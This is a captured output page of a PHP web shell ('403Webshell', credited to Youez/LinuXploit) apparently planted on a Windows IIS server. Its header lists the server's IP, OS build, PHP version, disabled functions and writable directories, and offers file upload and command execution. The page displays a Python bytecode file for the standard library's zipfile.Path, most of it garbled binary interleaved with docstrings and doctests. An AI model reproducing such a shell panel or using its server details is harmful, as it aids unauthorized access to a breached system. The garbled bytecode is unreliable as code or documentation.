403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/zipfile/_path/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/zipfile/_path/__pycache__/__init__.cpython-315.pyc
R
>lqjb0c��Qs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]QH(Gs]QH0G
s
Q,sQsQs\O$sQsQQ2sQ	Q
\\	O,2sQQ\2sQQ
ksQQ2sP!)z�
A Path-like interface for zipfiles.

This codebase is shared between zipfile.Path in the stdlib
and zipp in PyPI. See
https://github.com/python/importlib_metadata/wiki/Development-Methodology
for more detail.
)�save_method_args)�
Translator�Pathc�F�[O[U2]P2!)z�
Given a path with elements separated by
posixpath.sep, generate all parents of that path.

>>> list(_parents('b/d'))
['b']
>>> list(_parents('/b/d/'))
['/b']
>>> list(_parents('b/d/f/'))
['b/d', 'b']
>>> list(_parents('b'))
[]
>>> list(_parents(''))
[]
)�	itertools�islice�	_ancestry)�paths&�+C:\Python315\\Lib\zipfile\_path\__init__.py�_parentsr
s�� ���I�d�O�Q��5�5�c#�� �UO[O2oUO[O2%c Uw�	[OU2vqJDP!3h)a�
Given a path with elements separated by
posixpath.sep, generate all elements of that path.

>>> list(_ancestry('b/d'))
['b/d', 'b']
>>> list(_ancestry('/b/d/'))
['/b/d', '/b']
>>> list(_ancestry('b/d/f/'))
['b/d/f', 'b/d', 'b']
>>> list(_ancestry('b'))
['b']
>>> list(_ancestry(''))
[]

Multiple separators are treated like a single.

>>> list(_ancestry('//b//d///f//'))
['//b//d///f', '//b//d', '//b']
)�rstrip�	posixpath�sep�split)r�tails& r	rr-sH���*�;�;�y�}�}�%�D�
�+�+�i�m�m�
$�
$��
��_�_�T�*�
��d�%�s�AA)�!A)c�X�[O[U2OU2!)zN
Return items in minuend not in subtrahend, retaining order
with O(1) lookup.
)r�filterfalse�set�__contains__)�minuend�
subtrahends&&r	�_differencerLs!��
� � ��Z��!=�!=�w�G�Grc�T``�\sQs]TsnQs\U1Qk2sQsU1QksQs	Us
U9s!)�InitializedStatez7
Mix-in to save the initialization state for pickling.
c�,:�[RU_U-U@P!�N��super�__init__)�self�args�kwargs�	__class__s&*,�r	r�InitializedState.__init__Ys���
���$�)�&�)rc�\�UOOUOO1!r)�_saved___init__r!r"�r s&r	�__getstate__�InitializedState.__getstate__]s%���#�#�(�(�$�*>�*>�*E�*E�E�Erc�4:�Uvq#[RU_U-U@P!rr)r �stater!r"r#s&&  �r	�__setstate__�InitializedState.__setstate__`s������
���$�)�&�)r�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr(r,�__static_attributes__�__classdictcell__�
__classcell__�r#�
__classdict__s@@r	rrTs.������*��*�F�*�*rrc�``�\sQs]esnQs\Q2sU1QksQsQs	U1Qks
\Q2s\U1QkQ	k2s
Q
sUsU9s!)�CompleteDirsa
A ZipFile subclass that ensures that implied directories
are always included in the namelist.

>>> list(CompleteDirs._implied_dirs(['foo/bar.txt', 'foo/bar/baz.txt']))
['foo/', 'foo/bar/']
>>> list(CompleteDirs._implied_dirs(['foo/bar.txt', 'foo/bar/baz.txt', 'foo/bar/']))
['foo/']
c��[OO[[U22oQU2o[[
V 22!)c3�Z�SF �Dp[O*w�	J	P!3hr)rr)�.0�ps& r	�	<genexpr>�-CompleteDirs._implied_dirs.<locals>.<genexpr>ss��g���g��y�}�}�$�$�g�s�$+)r�chain�
from_iterable�mapr
�_deduper)�names�parents�as_dirss&  r	�
_implied_dirs�CompleteDirs._implied_dirsps7���/�/�/�/��H�e�0D�E��6�g�6���{�7�2�3�3rc�d:�[RU_2oU[UOU22*!r)r�namelist�listrH)r rEr#s& �r	rK�CompleteDirs.namelistvs+����� �"���t�D�.�.�u�5�6�6�6rc�6�[UO22!r)rrKr's&r	�	_name_set�CompleteDirs._name_setzs���4�=�=�?�#�#rc�n�UO2oUQ*oV79%cV27oU%cU!S!)z`
If the name represents a directory, return that name
as a directory (with the trailing slash).
�/)rO)r �namerE�dirname�	dir_matchs&&   r	�resolve_dir�CompleteDirs.resolve_dir}s9��
��� ����*���%�:�:�'�*:�	�#�w�-��-rc��:�[RU_U2![cGSOQ2%cXO	27cg[
OSQ5t!h9h)z&
Supplement getinfo for implied dirs.
rR)�filename)r�getinfo�KeyError�endswithrO�zipfile�ZipInfo)r rSr#s&&�r	rZ�CompleteDirs.getinfo�sS���	2��7�?�4�(�(���	2��=�=��%�%��^�^�5E�)E���?�?�D�1�1�	2�s��	A$�A$�A$�	A$�#A$c���[U[2%cU![U[O2%f	UU2!QUO7c[oVmU!)zT
Given a source (filename or zipfile), return an
appropriate CompleteDirs subclass.
�r)�
isinstancer:r]�ZipFile�moder#)�cls�sources&&r	�make�CompleteDirs.make�sO���f�l�+�+��M��&�'�/�/�2�2��v�;���f�k�k�!��C����
rc�P:�U]6�cPgQRZOQRZO-!)��zf�return)r]rc)�formatr8s"�r	�__annotate__� CompleteDirs.inject.__annotate__�s#���������G�O�O�rc�z�UOUO22FDoUOUQ2J	U!)zq
Given a writable zip file zf, inject directory entries for
any directories implied by the presence of children.
r)rHrK�writestr)rerkrSs&& r	�inject�CompleteDirs.inject�s2���%�%�b�k�k�m�4�D��K�K��c�"�5��	rr.)r/r0r1r2r3�staticmethodrHrKrOrVrZ�classmethodrgrrr4r5r6r7s@@r	r:r:es_������4��4�
7�$�.�	2�����$����rr:c�``�\sQs]�snQsQs\OU1Qk2sQs	\OU1Qk2s
QsUsU9s
!)�
FastLookupzJ
ZipFile subclass to ensure implicit
dirs exist and are resolved rapidly.
c��UO!r)�	_namelistr's&r	rK�FastLookup.namelist�s���~�~�rc�":�[RU_2!r)rrK�r r#s&�r	ry�FastLookup._namelist�s����w��!�!rc��UO!r)�_name_set_propr's&r	rO�FastLookup._name_set�s���"�"�"rc�":�[RU_2!r)rrOr|s&�r	r�FastLookup._name_set_prop�s����w� �"�"rr.)r/r0r1r2r3rK�	functools�cached_propertyryrOrr4r5r6r7s@@r	rwrw�sM�����
����"��"�#����#��#�#rrwc��[OOQ6HoS9%c[OQ6o]U*o[O
V2V1!)�pypy)���)�sys�implementationrS�pypy_version_info�io�
text_encoding)�encodingr!r"�is_pypy�is_old_pypi�stack_levels&*,   r	�_extract_text_encodingr��sQ��� � �%�%��/�G��@�@�c�3�3�j�@�K��k�/�K�
���H�2�D�@�@rc�`�\sQs]�snQsQsQ QksQsQsQ!QP-Qkks	Qs
\Q	2s\Q
2s
\Q2s\Q2s\Q
2sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs \ s!\Q2s"Qs#Us$P!)"ru�
A :class:`importlib.resources.abc.Traversable` interface for zip files.

Implements many of the features users enjoy from
:class:`pathlib.Path`.

Consider a zip file with this structure::

    .
    ├── a.txt
    └── b
        ├── c.txt
        └── d
            └── e.txt

>>> data = io.BytesIO()
>>> zf = ZipFile(data, 'w')
>>> zf.writestr('a.txt', 'content of a')
>>> zf.writestr('b/c.txt', 'content of c')
>>> zf.writestr('b/d/e.txt', 'content of e')
>>> zf.filename = 'mem/abcde.zip'

Path accepts the zipfile object itself or a filename

>>> path = Path(zf)

From there, several path operations are available.

Directory iteration (including the zip file itself):

>>> a, b = path.iterdir()
>>> a
Path('mem/abcde.zip', 'a.txt')
>>> b
Path('mem/abcde.zip', 'b/')

name property:

>>> b.name
'b'

join with divide operator:

>>> c = b / 'c.txt'
>>> c
Path('mem/abcde.zip', 'b/c.txt')
>>> c.name
'c.txt'

Read text:

>>> c.read_text(encoding='utf-8')
'content of c'

existence:

>>> c.exists()
True
>>> (b / 'missing.txt').exists()
False

Coercion to string:

>>> import os
>>> str(c).replace(os.sep, posixpath.sep)
'mem/abcde.zip/b/c.txt'

At the root, ``name``, ``filename``, and ``parent``
resolve to the zipfile.

>>> str(path)
'mem/abcde.zip/'
>>> path.name
'abcde.zip'
>>> path.filename == pathlib.Path('mem/abcde.zip')
True
>>> str(path.parent)
'mem'

If the zipfile has no filename, such attributes are not
valid and accessing them will raise an Exception.

>>> zf.filename = None
>>> path.name
Traceback (most recent call last):
...
TypeError: ...

>>> path.filename
Traceback (most recent call last):
...
TypeError: ...

>>> path.parent
Traceback (most recent call last):
...
TypeError: ...

# workaround python/cpython#106763
>>> pass
z>{self.__class__.__name__}({self.root.filename!r}, {self.at!r})c�H�[OU2UmV mP!)a 
Construct a Path from a ZipFile or filename.

Note: When the source is an existing ZipFile object,
its type (__class__) will be mutated to a
specialized type. If the caller wishes to retain the
original type, the caller should either create a
separate ZipFile object or pass a filename.
)rwrg�root�at)r r�r�s&&&r	r�
Path.__init__8s���O�O�D�)��	��rc��UOUOIc[!UOUO1UOUO16H!)z=
>>> Path(zipfile.ZipFile(io.BytesIO(), 'w')) == 'foo'
False
)r#�NotImplementedr�r�)r �others&&r	�__eq__�Path.__eq__Es?��
�>�>����0�!�!��	�	�4�7�7�#��
�
�E�H�H�'=�=�=rc�F�[UOUO12!r)�hashr�r�r's&r	�__hash__�
Path.__hash__Ns���T�Y�Y����(�)�)r�pwdc��UO2%c[U2gU]*oUQ6Xc"UO2%f[U2gUOOUOVRQ5oQU7cU%f	U%c[Q2gU![U-U@vqso[OVg,UN3-U@!)z�
Open this entry as text or binary following the semantics
of ``pathlib.Path.open()`` by passing arguments through
to io.TextIOWrapper().
ra)r��bz*encoding args invalid for binary operation)�is_dir�IsADirectoryError�exists�FileNotFoundErrorr��openr��
ValueErrorr�r��
TextIOWrapper)r rdr�r!r"�zip_mode�streamr�s&&$*,   r	r��	Path.openQs����;�;�=�=�#�D�)�)���7���s�?�4�;�;�=�=�#�D�)�)�����������;���$�;��v� �!M�N�N��M�!7��!H��!H��������B�4�B�6�B�Brc��UO%c![OUO2!UO!r)r��pathlib�
PurePosixPathrYr's&r	�_base�
Path._basees(��15����w�$�$�T�W�W�-�K�d�m�m�Krc�8�UO2O!r)r�rSr's&r	rS�	Path.nameh����z�z�|� � � rc�8�UO2O!r)r��suffixr's&r	r��Path.suffixls���z�z�|�"�"�"rc�8�UO2O!r)r��suffixesr's&r	r��
Path.suffixesps���z�z�|�$�$�$rc�8�UO2O!r)r��stemr's&r	r��	Path.stemtr�rc��[OUOO2O	UO
2!r)r�rr�rY�joinpathr�r's&r	rY�
Path.filenamexs*���|�|�D�I�I�.�.�/�8�8����A�Arc��[U-U@vq1oUOQU,UN3-U@9^tt^2oUO2ttPPP2!)%fhP!9h�ra)r�r��read)r r!r"r��strms&*,  r	�	read_text�Path.read_text|sK��!7��!H��!H����
�Y�Y�s�H�
6�t�
6�v�
6�
6�$��9�9�;�7�
6�
6�
6�s�A�A	�A	c��UOQ29^tt^2oUO2ttPPP2!)%fhP!9h)�rb)r�r�)r r�s& r	�
read_bytes�Path.read_bytes�s&��
�Y�Y�t�_�_���9�9�;��_�_�_�s�6�A	�A	c��[OUOOQ22UOOQ26H!�rR)rrTr�r
)r rs&&r	�	_is_child�Path._is_child�s2��� � �������!4�5�������9L�L�Lrc�<�UOUOU2!r)r#r�)r r�s&&r	�_next�
Path._next�s���~�~�d�i�i��,�,rc�l�UO%(9%fUOOQ2!r�)r�r\r's&r	r��Path.is_dir�s%���7�7�{�3�3�d�g�g�.�.�s�3�3rc�^�UO29%cUO2%(!r)r�r�r's&r	�is_file�Path.is_file�s���{�{�}�2�2�T�[�[�]�!2�2rc�R�UOUOO27!r)r�r�rOr's&r	r��Path.exists�s���w�w�$�)�)�-�-�/�/�/rc���UO2%f[Q2g[UOUOO22o[
UOU2!)zCan't listdir a file)r�r�rCr�r�rK�filterr�)r �subss& r	�iterdir�Path.iterdir�sG���{�{�}�}��3�4�4��4�:�:�t�y�y�1�1�3�4���d�n�n�d�+�+rc�b�[OUO2OU2!r)r�r�r��match)r �path_patterns&&r	r��
Path.match�s"���$�$�T�W�W�-�3�3�L�A�Arc��UOOUO2oUO]*	o[O
U2!)z(
Return whether this path is a symlink.
)r�rZr��
external_attr�stat�S_ISLNK)r �infords&  r	�
is_symlink�Path.is_symlink�s;���y�y� � ����)���!�!�R�'���|�|�D�!�!rc�b�U%f[QU802g[OUO2o[	QQ5o[O
V#O
U2*2Oo[UO[V@OO222!)zUnacceptable pattern: rR)�seps)
r��re�escaper�r�compile�	translate�	fullmatchrCr�r�r�rK)r �pattern�prefix�tr�matchess&&   r	�glob�	Path.glob�sw����5�g�[�A�B�B����4�7�7�#��
�S�
!���*�*�V�l�l�7�&;�;�<�F�F���4�:�:�v�g�y�y�/A�/A�/C�D�E�Erc�,�UOQU02!)z**/)r�)r r�s&&r	�rglob�
Path.rglob�s���y�y�3�w�i��)�)rc	�t�[O[U2[UOU22!r)r�relpath�strr�)r r��extras&&*r	�relative_to�Path.relative_to�s'��� � ��T��C�����0F�,G�H�Hrc�n�[OUOOUO2!r)r�joinr�rYr�r's&r	�__str__�Path.__str__�s!���~�~�d�i�i�0�0�$�'�'�:�:rc�<�UOOUQ5!)r')�_Path__reprrmr's&r	�__repr__�
Path.__repr__�s���{�{�!�!�t�!�,�,rc��[OUO,UN3oUOUOOU22!r)rrr�r�r�rV)r r��nexts&* r	r��
Path.joinpath�s7���~�~�d�g�g�.��.���z�z�$�)�)�/�/��5�6�6rc��UO%fUOO![OUOOQ22oU%c
UQ*
oUO
U2!r�)r�rY�parentrrTr
r�)r �	parent_ats& r	r
�Path.parent�sT���w�w�w��=�=�'�'�'��%�%�d�g�g�n�n�S�&9�:�	�����I��z�z�)�$�$r)r�r�)�r�)%r/r0r1r2r3rrr�r�r�r��propertyrSr�r�r�rYr�r�r�r�r�r�r�r�r�r�r�r�r�rrr��__truediv__r
r4r5)r8s@r	rr�s
����d�LN�F��>�*�C��C�(L��!��!��#��#��%��%��!��!��B��B��
�M�-�4�3�0�,�B�"�F�*�I�;�-�7��K�
�%��%rr)r3r�r�rr�rr�r�r�r]�
_functoolsrr�r�__all__r
r�dict�fromkeysrDrrrcr:rwr�rr.rr	�<module>rs�����	����	��
��(���(��6�&+�6�-�-��/�H�*�*�"H�#�W�_�_�H�V#��#�*A�x%�x%r

Youez - 2016 - github.com/yon3zu
LinuXploit